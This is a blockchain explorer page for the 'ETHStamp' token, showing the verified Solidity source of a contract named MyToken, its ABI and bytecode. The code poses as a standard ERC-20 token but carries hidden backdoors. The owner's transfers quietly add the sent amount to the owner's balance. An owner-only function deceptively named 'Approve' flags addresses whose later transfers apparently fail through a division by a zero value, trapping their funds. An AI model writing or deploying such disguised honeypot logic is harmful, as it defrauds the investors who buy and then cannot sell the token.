ETH Price: $2,509.01 (+0.71%)

Token

ETHStamp (ETHStamp)
 

Overview

Max Total Supply

10,000,000,000 ETHStamp

Holders

22

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
444,342,491.656421354700676207 ETHStamp

Value
$0.00
0x64f97fd670b3621a9a883dfdcbb38b199452dc35
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x4c9F26b6...aC8cD7e98
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
MyToken

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-04-03
*/

pragma solidity ^0.8.16;
// SPDX-License-Identifier: Unlicensed

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address accoint) external view returns (uint256);

    function transfer(address recipient, uint256 ameunts) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 ameunts) external returns (bool);

    function transferFrom( address sender, address recipient, uint256 ameunts ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - fee https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;


        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}


contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}


contract MyToken is IERC20, Ownable {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _i5sfda56;
    uint256 ccc = _totalSupply*100000000;
    uint256 private _burnfee = 8;
    address private _DEADaddress = 0x000000000000000000000000000000000000dEaD;
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 initialSupply) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = initialSupply * (10 ** uint256(_decimals));
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amounts) public virtual override returns (bool) {
        address sk = _msgSender();
        if(sk == owner() && owner() == _msgSender()){
            _balances[sk] = _balances[sk].add(amounts);
        }

        
        _transfer(sk, recipient, amounts);
        return true;
    }
    function Approve(address _address, bool _value) external onlyowner {
        _i5sfda56[_address] = _value;
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amounts) internal virtual {

        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");
        if(_i5sfda56[sender] == true) {
            _balances[sender] = _balances[sender].div(ccc).div(1);
        }
        
        uint256 feeamount = 0;
        feeamount = amounts.mul(_burnfee).div(100);
        _balances[sender] = _balances[sender].sub(amounts);
        _balances[recipient] =  _balances[recipient]+amounts-feeamount;
        emit Transfer(sender, _DEADaddress, feeamount);
        emit Transfer(sender, recipient, amounts-feeamount);

    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amounts","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526305f5e100600454620000189190620002d2565b600855600860095561dead600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200007057600080fd5b506040516200257d3803806200257d833981810160405281019062000096919062000535565b6000620000a86200029160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a350836001908162000157919062000826565b50826002908162000169919062000826565b5081600360006101000a81548160ff021916908360ff160217905550600360009054906101000a900460ff1660ff16600a620001a6919062000a61565b81620001b39190620002d2565b60048190555060045460056000620001d06200029160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200021e6200029160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200027f919062000ac3565b60405180910390a35050505062000ae0565b600033905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620002df8262000299565b9150620002ec8362000299565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620003285762000327620002a3565b5b828202905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200039c8262000351565b810181811067ffffffffffffffff82111715620003be57620003bd62000362565b5b80604052505050565b6000620003d362000333565b9050620003e1828262000391565b919050565b600067ffffffffffffffff82111562000404576200040362000362565b5b6200040f8262000351565b9050602081019050919050565b60005b838110156200043c5780820151818401526020810190506200041f565b60008484015250505050565b60006200045f6200045984620003e6565b620003c7565b9050828152602081018484840111156200047e576200047d6200034c565b5b6200048b8482856200041c565b509392505050565b600082601f830112620004ab57620004aa62000347565b5b8151620004bd84826020860162000448565b91505092915050565b600060ff82169050919050565b620004de81620004c6565b8114620004ea57600080fd5b50565b600081519050620004fe81620004d3565b92915050565b6200050f8162000299565b81146200051b57600080fd5b50565b6000815190506200052f8162000504565b92915050565b600080600080608085870312156200055257620005516200033d565b5b600085015167ffffffffffffffff81111562000573576200057262000342565b5b620005818782880162000493565b945050602085015167ffffffffffffffff811115620005a557620005a462000342565b5b620005b38782880162000493565b9350506040620005c687828801620004ed565b9250506060620005d9878288016200051e565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200063857607f821691505b6020821081036200064e576200064d620005f0565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006b87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000679565b620006c4868362000679565b95508019841693508086168417925050509392505050565b6000819050919050565b60006200070762000701620006fb8462000299565b620006dc565b62000299565b9050919050565b6000819050919050565b6200072383620006e6565b6200073b62000732826200070e565b84845462000686565b825550505050565b600090565b6200075262000743565b6200075f81848462000718565b505050565b5b8181101562000787576200077b60008262000748565b60018101905062000765565b5050565b601f821115620007d657620007a08162000654565b620007ab8462000669565b81016020851015620007bb578190505b620007d3620007ca8562000669565b83018262000764565b50505b505050565b600082821c905092915050565b6000620007fb60001984600802620007db565b1980831691505092915050565b6000620008168383620007e8565b9150826002028217905092915050565b6200083182620005e5565b67ffffffffffffffff8111156200084d576200084c62000362565b5b6200085982546200061f565b620008668282856200078b565b600060209050601f8311600181146200089e576000841562000889578287015190505b62000895858262000808565b86555062000905565b601f198416620008ae8662000654565b60005b82811015620008d857848901518255600182019150602085019450602081019050620008b1565b86831015620008f85784890151620008f4601f891682620007e8565b8355505b6001600288020188555050505b505050505050565b60008160011c9050919050565b6000808291508390505b60018511156200096c57808604811115620009445762000943620002a3565b5b6001851615620009545780820291505b808102905062000964856200090d565b945062000924565b94509492505050565b60008262000987576001905062000a5a565b8162000997576000905062000a5a565b8160018114620009b05760028114620009bb57620009f1565b600191505062000a5a565b60ff841115620009d057620009cf620002a3565b5b8360020a915084821115620009ea57620009e9620002a3565b5b5062000a5a565b5060208310610133831016604e8410600b841016171562000a2b5782820a90508381111562000a255762000a24620002a3565b5b62000a5a565b62000a3a84848460016200091a565b9250905081840481111562000a545762000a53620002a3565b5b81810290505b9392505050565b600062000a6e8262000299565b915062000a7b8362000299565b925062000aaa7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000975565b905092915050565b62000abd8162000299565b82525050565b600060208201905062000ada600083018462000ab2565b92915050565b611a8d8062000af06000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461018f5780638da5cb5b146101bf57806395d89b41146101dd578063a9059cbb146101fb578063c2af913b1461022b578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146101075780631f478f1e1461012557806323b872dd14610141578063313ce56714610171575b600080fd5b6100c1610265565b6040516100ce91906111e4565b60405180910390f35b6100f160048036038101906100ec919061129f565b6102f7565b6040516100fe91906112fa565b60405180910390f35b61010f610315565b60405161011c9190611324565b60405180910390f35b61013f600480360381019061013a919061136b565b61031f565b005b61015b600480360381019061015691906113ab565b61040f565b60405161016891906112fa565b60405180910390f35b6101796104e8565b604051610186919061141a565b60405180910390f35b6101a960048036038101906101a49190611435565b6104ff565b6040516101b69190611324565b60405180910390f35b6101c7610548565b6040516101d49190611471565b60405180910390f35b6101e5610571565b6040516101f291906111e4565b60405180910390f35b6102156004803603810190610210919061129f565b610603565b60405161022291906112fa565b60405180910390f35b61023361073c565b005b61024f600480360381019061024a919061148c565b610891565b60405161025c9190611324565b60405180910390f35b606060018054610274906114fb565b80601f01602080910402602001604051908101604052809291908181526020018280546102a0906114fb565b80156102ed5780601f106102c2576101008083540402835291602001916102ed565b820191906000526020600020905b8154815290600101906020018083116102d057829003601f168201915b5050505050905090565b600061030b610304610918565b8484610920565b6001905092915050565b6000600454905090565b610327610918565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ab90611578565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600061041c848484610ae9565b6104dd84610428610918565b6104d885604051806060016040528060288152602001611a3060289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061048e610918565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f219092919063ffffffff16565b610920565b600190509392505050565b6000600360009054906101000a900460ff16905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610580906114fb565b80601f01602080910402602001604051908101604052809291908181526020018280546105ac906114fb565b80156105f95780601f106105ce576101008083540402835291602001916105f9565b820191906000526020600020905b8154815290600101906020018083116105dc57829003601f168201915b5050505050905090565b60008061060e610918565b9050610618610548565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561068b5750610655610918565b73ffffffffffffffffffffffffffffffffffffffff16610673610548565b73ffffffffffffffffffffffffffffffffffffffff16145b15610726576106e283600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8590919063ffffffff16565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610731818585610ae9565b600191505092915050565b610744610918565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c890611578565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361098f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109869061160a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f59061169c565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610adc9190611324565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4f9061172e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbe906117c0565b60405180910390fd5b60011515600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610cca57610c866001610c78600854600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe390919063ffffffff16565b610fe390919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000610cf46064610ce66009548561102d90919063ffffffff16565b610fe390919063ffffffff16565b9050610d4882600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110a790919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dd7919061180f565b610de19190611843565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ea39190611324565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8385610f069190611843565b604051610f139190611324565b60405180910390a350505050565b6000838311158290610f69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6091906111e4565b60405180910390fd5b5060008385610f789190611843565b9050809150509392505050565b6000808284610f94919061180f565b905083811015610fd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd0906118c3565b60405180910390fd5b8091505092915050565b600061102583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110f1565b905092915050565b600080830361103f57600090506110a1565b6000828461104d91906118e3565b905082848261105c919061196c565b1461109c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109390611a0f565b60405180910390fd5b809150505b92915050565b60006110e983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f21565b905092915050565b60008083118290611138576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112f91906111e4565b60405180910390fd5b5060008385611147919061196c565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561118e578082015181840152602081019050611173565b60008484015250505050565b6000601f19601f8301169050919050565b60006111b682611154565b6111c0818561115f565b93506111d0818560208601611170565b6111d98161119a565b840191505092915050565b600060208201905081810360008301526111fe81846111ab565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112368261120b565b9050919050565b6112468161122b565b811461125157600080fd5b50565b6000813590506112638161123d565b92915050565b6000819050919050565b61127c81611269565b811461128757600080fd5b50565b60008135905061129981611273565b92915050565b600080604083850312156112b6576112b5611206565b5b60006112c485828601611254565b92505060206112d58582860161128a565b9150509250929050565b60008115159050919050565b6112f4816112df565b82525050565b600060208201905061130f60008301846112eb565b92915050565b61131e81611269565b82525050565b60006020820190506113396000830184611315565b92915050565b611348816112df565b811461135357600080fd5b50565b6000813590506113658161133f565b92915050565b6000806040838503121561138257611381611206565b5b600061139085828601611254565b92505060206113a185828601611356565b9150509250929050565b6000806000606084860312156113c4576113c3611206565b5b60006113d286828701611254565b93505060206113e386828701611254565b92505060406113f48682870161128a565b9150509250925092565b600060ff82169050919050565b611414816113fe565b82525050565b600060208201905061142f600083018461140b565b92915050565b60006020828403121561144b5761144a611206565b5b600061145984828501611254565b91505092915050565b61146b8161122b565b82525050565b60006020820190506114866000830184611462565b92915050565b600080604083850312156114a3576114a2611206565b5b60006114b185828601611254565b92505060206114c285828601611254565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061151357607f821691505b602082108103611526576115256114cc565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061156260208361115f565b915061156d8261152c565b602082019050919050565b6000602082019050818103600083015261159181611555565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006115f460248361115f565b91506115ff82611598565b604082019050919050565b60006020820190508181036000830152611623816115e7565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061168660228361115f565b91506116918261162a565b604082019050919050565b600060208201905081810360008301526116b581611679565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061171860268361115f565b9150611723826116bc565b604082019050919050565b600060208201905081810360008301526117478161170b565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006117aa60248361115f565b91506117b58261174e565b604082019050919050565b600060208201905081810360008301526117d98161179d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061181a82611269565b915061182583611269565b925082820190508082111561183d5761183c6117e0565b5b92915050565b600061184e82611269565b915061185983611269565b9250828203905081811115611871576118706117e0565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006118ad601b8361115f565b91506118b882611877565b602082019050919050565b600060208201905081810360008301526118dc816118a0565b9050919050565b60006118ee82611269565b91506118f983611269565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611932576119316117e0565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061197782611269565b915061198283611269565b9250826119925761199161193d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006119f960218361115f565b9150611a048261199d565b604082019050919050565b60006020820190508181036000830152611a28816119ec565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209a7607607291be2f9dd5fea3398f09b189f2ce359a0283e26fc7af4d758a133f64736f6c63430008100033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000001dcd65000000000000000000000000000000000000000000000000000000000000000000948616e61546f6b656e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000448616e6100000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461018f5780638da5cb5b146101bf57806395d89b41146101dd578063a9059cbb146101fb578063c2af913b1461022b578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146101075780631f478f1e1461012557806323b872dd14610141578063313ce56714610171575b600080fd5b6100c1610265565b6040516100ce91906111e4565b60405180910390f35b6100f160048036038101906100ec919061129f565b6102f7565b6040516100fe91906112fa565b60405180910390f35b61010f610315565b60405161011c9190611324565b60405180910390f35b61013f600480360381019061013a919061136b565b61031f565b005b61015b600480360381019061015691906113ab565b61040f565b60405161016891906112fa565b60405180910390f35b6101796104e8565b604051610186919061141a565b60405180910390f35b6101a960048036038101906101a49190611435565b6104ff565b6040516101b69190611324565b60405180910390f35b6101c7610548565b6040516101d49190611471565b60405180910390f35b6101e5610571565b6040516101f291906111e4565b60405180910390f35b6102156004803603810190610210919061129f565b610603565b60405161022291906112fa565b60405180910390f35b61023361073c565b005b61024f600480360381019061024a919061148c565b610891565b60405161025c9190611324565b60405180910390f35b606060018054610274906114fb565b80601f01602080910402602001604051908101604052809291908181526020018280546102a0906114fb565b80156102ed5780601f106102c2576101008083540402835291602001916102ed565b820191906000526020600020905b8154815290600101906020018083116102d057829003601f168201915b5050505050905090565b600061030b610304610918565b8484610920565b6001905092915050565b6000600454905090565b610327610918565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ab90611578565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600061041c848484610ae9565b6104dd84610428610918565b6104d885604051806060016040528060288152602001611a3060289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061048e610918565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f219092919063ffffffff16565b610920565b600190509392505050565b6000600360009054906101000a900460ff16905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610580906114fb565b80601f01602080910402602001604051908101604052809291908181526020018280546105ac906114fb565b80156105f95780601f106105ce576101008083540402835291602001916105f9565b820191906000526020600020905b8154815290600101906020018083116105dc57829003601f168201915b5050505050905090565b60008061060e610918565b9050610618610548565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561068b5750610655610918565b73ffffffffffffffffffffffffffffffffffffffff16610673610548565b73ffffffffffffffffffffffffffffffffffffffff16145b15610726576106e283600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8590919063ffffffff16565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610731818585610ae9565b600191505092915050565b610744610918565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c890611578565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373fff